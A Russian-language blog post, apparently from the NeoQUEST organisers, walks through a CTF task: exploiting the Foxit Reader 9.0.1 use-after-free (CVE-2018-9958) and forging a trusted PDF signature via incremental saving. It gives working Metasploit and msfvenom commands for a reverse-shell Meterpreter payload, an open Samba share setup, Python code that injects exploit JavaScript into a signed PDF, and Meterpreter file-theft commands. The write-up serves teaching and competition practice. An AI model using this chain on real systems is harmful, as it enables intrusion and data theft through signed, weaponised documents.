Эксплуатируем уязвимость Foxit Reader и обходим цифровую подпись на примере задания NeoQUEST-2020

sv-vndk3jppts2pjo9tm0aeryly.png Сегодня мы расскажем о самом сложном задании NeoQUEST- 2019 2020. Да-да, то самое, с цифровыми подписями и эксплуатацией уязвимости Foxit Reader. Да-да, все верно, существуют две версии этого задания, и в этой статье мы наконец как следует его разберем. Добро пожаловать под кат :)
Изначально задание было разработано для очной ставки NeoQUEST-2019, однако так и осталось непокоренным непройденным. Мы его немного видоизменили и предложили решить участникам онлайн-этапа NeoQUEST-2020. Однако на сложность задания наши изменения не повлияли — его прошли всего 2 человека!

Итак, первая версия предусматривала прохождение в локальной сети, а вторая в глобальной сети интернет, для чего необходимо провести некоторые манипуляции с эксплоитом и его шеллкодом.

В легенде NeoQUEST-2020 был дан IP-адрес, при переходе по которому участники видели форму отправки заявлений, а также список требований к ним и пример корректного заявления. Первым делом внимательно изучим пример заявления: вдруг там будет что-то интересное? И правда, сразу же замечаем деталь:

wqk0r8zq0sgm-j3rqk3hwgoc2vi.png

Похоже, здесь используется Foxit Reader 9.0.1. Нам дано название ПО и его версия, хммм… Может, речь идет о какой-то уязвимости? И мы абсолютно правы: эта версия имеет use-after-free уязвимость, получившую идентификатор CVE-2018-9958. Эксплойт для уязвимости есть в Metasploit (что уже половина успеха, не правда ли?), почему бы не попробовать?

Эта уязвимость позволяет скачивать файлы с удаленной шары. Рассмотрим эксплуатацию данной уязвимости на примере оригинального задания 2019 года.

Итак, в 2019 году форма отправки заявлений находилась по адресу 192.168.108.129. Первым делом запускаем Kali Linux. Также нужно поднять шару, с которой будет запускаться основная полезная нагрузка – Meterpreter. Для этого скачиваем/обновляем samba-сервер:

sudo apt-get install samba


Затем создаем папку, которую будем шарить:

mkdir /mnt/files
sudo chmod 777 /mnt/files


Теперь нужно сконфигурировать samba-сервер. Для этого следует открыть конфигурационный файл /etc/samba/smb.conf и вставить туда следующий текст:

[global]
security = user
workgroup = MYGROUP
server string = Samba
guest account = nobody
map to guest = Bad User

[share]
path = /mnt/files
browseable = Yes
guest ok = Yes
writeable = Yes
public = yes


Последнее, что нужно сделать – перезапустить службы samba:

service smbd restart
service nmbd restart


Вот и все. Теперь содержимое папки /mnt/files доступно по адресу \\192.168.108.130\share.
Следующий шаг – подготовка самого эксплойта. Для этого сконфигурируем Meterpreter и положим его на шару:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.130 LPORT=4444 --arch x86 -f exe -o /mnt/files/exploit.exe
sudo chmod 777 /mnt/files/exploit.exe


Теперь создадим PDF-файл с эксплойтом:

msfconsole
use exploit/windows/fileformat/foxit_reader_uaf
set LHOST 192.168.108.130
set EXENAME exploit.exe
set SHARE share
run


Включаем обработчик, который будет устанавливать связь с Meterpreter, когда он запустится на машине-жертве:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.130
set EXITONSESSION false
run -j


Вот и все! В версии задания 2020 года так проэксплутировать не выйдет (только если у вас нет внешнего IP, на котором вы можете поднять smb шару). Поэтому для прохождения этого задания в online-этапе необходимо проанализировать эксплоит и в качестве шеллкода залить свою полезную нагрузку, реализующую, например, reverse (если есть внешний IP) или bind shell. Предлагаем самостоятельно попробовать проэксплуатировать уязвимость, ведь лучше один раз сделать самому, чем сто раз прочитать!

Осталось загрузить созданный PDF-документ в систему приема заявлений, и…

got4t1jdefqpv-bl4xe2kydoq68.png

…ничего не происходит, так как файл не подписан! Похоже, система проверяет подпись какими-то дополнительными средствами перед тем, как документ открывается в Foxit Reader.
Следовательно, нужно придумать, как обойти проверку подписи.

Три наиболее свежих техники обхода подписи для PDF-файлов имеют идентификаторы CVE-2018-16042, CVE-2018-18688 и CVE-2018-18689. К счастью, группа исследователей, обнаружившая эти уязвимости, опубликовала примеры PDF-файлов для проверки. Проверим, как система будет реагировать на каждую атаку.

Атака Universal Signature Forgery: Реакция системы такая же, как и на неподписанный файл. Похоже, подпись не распознается.

Атака Signature Wrapping: Тот же результат, атака не работает.

А вот атака Incremental Saving Attack:

tp9aom9nelvrmrdwcfxfd0zkyeo.png

Мы почти у цели! Система проверила подпись и сообщила, что она не принадлежит сотруднику компании. Но у нас есть пример документа с подписью сотрудника! Значит, все, что остается – проявить ловкость рук и использовать Incremental Saving, чтобы встроить эксплойт, не сломав при этом подпись.

Можно самостоятельно написать библиотеку для низкоуровневой работы с pdf (как задумывал разработчик задания) или просто дописать эксплоит в конец (как сделал тестировщик, когда проходил задание). Если взглянуть на структуру PDF-эксплойта, становится ясно, что он состоит из двух объектов: JS-кода, вызывающего use-after-free и запускающего exe-файл на шаре, и каталога – основного объекта в PDF-файле – задающего в качестве действия при открывании документа вызов JS-кода. Значит, нужно добавить объект с JS-кодом в подписанный документ, а также обновить объект каталога. Сделать это можно следующим образом:

doc = PDF('example.pdf')
js_exploit = "...тут много JS-кода..."

obj_1 = Object({'OpenAction': ObjectReference(28),
                'AcroForm': ObjectReference(15),
                'Pages': ObjectReference(1),
                'PageLayout': '/OneColumn',
                'Type': '/Catalog'
                }, id=13)
doc.update_object(obj_1, 1)

obj_2 = Object({'S': '/JavaScript',
                'JS': js_exploit
                })
doc.add_new_object(obj_2)

doc.save(root_id=13)


Что мы видим? Документ успешно проходит проверку подписи! После этого устанавливается новая сессия с Meterpreter, а значит, эксплойт срабатывает (иногда это происходит не с первого раза из-за вероятностной природы use-after-free).

7_2tqwtyheeandsbgomtdi-vzvk.png

Теперь можно использовать Meterpreter, чтобы найти и скачать файл nq2020_key.txt:

sessions -i 1
search -f nq2020_key.txt
download 'C:\Users\manager\Downloads\nq2020_key.txt


Ура звучат фанфары и аплодисменты! Мы наконец-то получили ключ! Было сложно, но для наших участников нет ничего невозможного — мы убеждаемся в этом уже который год!
Мы рассказали все секреты заданий online-этапа NeoQUEST-2020, но это вовсе не означает, что мы с вами в этом году не увидимся: 30-го сентября состоится традиционная Очная ставка в Санкт-Петербурге!

Мы проведём финал хакерского соревнования, а также расскажем о самых интересных новостях в мире кибербезопасности. Крутые доклады, познавательные воркшопы, telegram-викторина, подарки и многое другое — все это ждет вас уже скоро! До встречи :)

© Habrahabr.ru